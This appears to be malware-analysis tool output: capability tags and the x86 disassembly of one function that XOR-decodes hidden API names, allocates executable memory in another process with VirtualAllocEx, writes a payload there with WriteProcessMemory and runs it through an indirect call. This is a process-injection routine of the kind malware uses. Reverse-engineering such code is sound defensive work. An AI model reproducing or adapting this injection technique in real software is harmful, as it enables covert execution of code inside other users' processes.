Function at 0x40185c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov dword [esp], 0x4d3024
call fcn.00413210
mov dword [esp], 0x4d3014
mov ebx, eax
call fcn.00413210
cmp byte [ebx], 0
mov edx, eax
jne 0x4018a5
xor esi, esi
lea eax, [eax + 0xa]
mov ecx, 0xd
mov dword [eax - 0xa], esi
mov dword [eax - 6], esi
mov dword [eax - 2], esi
mov esi, 0x5c840a
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4018fc
lea ecx, [edx + 0xa]
mov esi, 0x79
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4018c2
inc eax
jmp 0x4018ee
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4018ce
add eax, 2
jmp 0x4018ee
cmp ebx, eax
jne 0x4018d8
mov eax, esi
xor byte [ecx], al
jmp 0x4018f4
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4018e4
add eax, 3
jmp 0x4018ee
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4018f4
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4018b3
inc esi
inc ecx
mov eax, esi
cmp al, 0x86
jne 0x4018b3
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ecx
mov dword [ebp - 0x2c], eax
mov dword [esp], 0x4d3044
call fcn.00413210
mov dword [esp], 0x4d3034
mov ebx, eax
call fcn.00413210
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x30], esi
jne 0x401951
xor edx, edx
mov esi, 0x5c83ea
lea edi, [eax + 0xa]
mov ecx, 0x13
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4019a9
lea ecx, [eax + 0xa]
mov esi, 0x79
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x40196e
inc edx
jmp 0x40199a
lea edi, [edx + 2]
cmp ebx, edi
jne 0x40197a
add edx, 2
jmp 0x40199a
cmp ebx, edx
jne 0x401984
mov ebx, esi
xor byte [ecx], bl
jmp 0x4019a0
lea edi, [edx + 4]
cmp ebx, edi
jne 0x401990
add edx, 3
jmp 0x40199a
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4019a0
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x40195f
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x8c
jne 0x40195f
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x30]
xor edi, edi
mov dword [esp], eax
call fcn.0040166c
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call fcn.00401685
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x1000
mov esi, eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], edi
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub esp, 0x14
mov ebx, eax
test eax, eax
jne 0x401a00
or eax, 0xffffffff
jmp 0x401a78
lea eax, [ebp - 0x1c]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], ebx
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub esp, 0x14
test eax, eax
je 0x4019fb
xor ecx, ecx
mov dword [esp + 0xc], ebx
xor ebx, ebx
mov dword [esp + 8], ebx
mov dword [esp + 4], ebx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ecx
mov eax, dword [ebp + 8]
mov dword [esp], eax
call esi
sub esp, 0x1c
mov ebx, eax
test eax, eax
je 0x4019fb
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push eax
push eax
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
push edx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret